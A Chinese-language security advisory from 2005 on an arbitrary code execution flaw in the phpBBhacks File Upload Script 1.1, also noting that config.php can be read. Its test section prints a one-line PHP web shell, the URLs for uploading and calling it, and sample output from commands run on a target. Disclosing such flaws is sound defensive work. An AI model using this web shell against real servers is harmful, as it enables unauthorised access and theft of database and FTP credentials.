发布日期：2005-04-11
更新日期：2005-04-11

受影响系统：

phpBBhacks File Upload Script 1.1

描述：

---

BUGTRAQ  ID: 13084

File Upload Script是phpBB论坛程序的一个文件上传脚本。

phpBB论坛中的文件上传脚本可能允许远程的注册用户在有漏洞的服务器上执行任意代码。这可能导致对受影响服务器的非授权访问。

此外，本地或远程攻击者还可能读取config.php文件，导致泄漏数据库信息和FTP口令。

<*来源：Status-x （phr4xz@gmail.com）
  
  链接：http://www.defacers.com.mx/advisories/2.txt
        http://marc.theaimsgroup.com/?l=bugtraq&m=111299353030534&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

创建示范代码并将其上传至测试站点。

<?

system($cmd)

?>

保存为cmd.php，然后输入：

http://target/phpbb/up.php

上传代码，输入：

http://targey/phpbb/uploads/cmd.php

然后就可以看到上传的文件。

接着就可以执行*NIX命令获取入侵信息：

Linux SERVER 2.4.21-4.0.1.ELsmp #1 SMP
Thu Oct 23 01:27:36 EDT 2003 i686 i686 i386 GNU/Linux
/home/target/public_html/forum/uploads
uid=32029(target) gid=530(target) groups=530(target)

建议：

---

厂商补丁：

phpBBhacks
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.phpbbhacks.com

浏览次数：3771
严重程度：0（网友投票）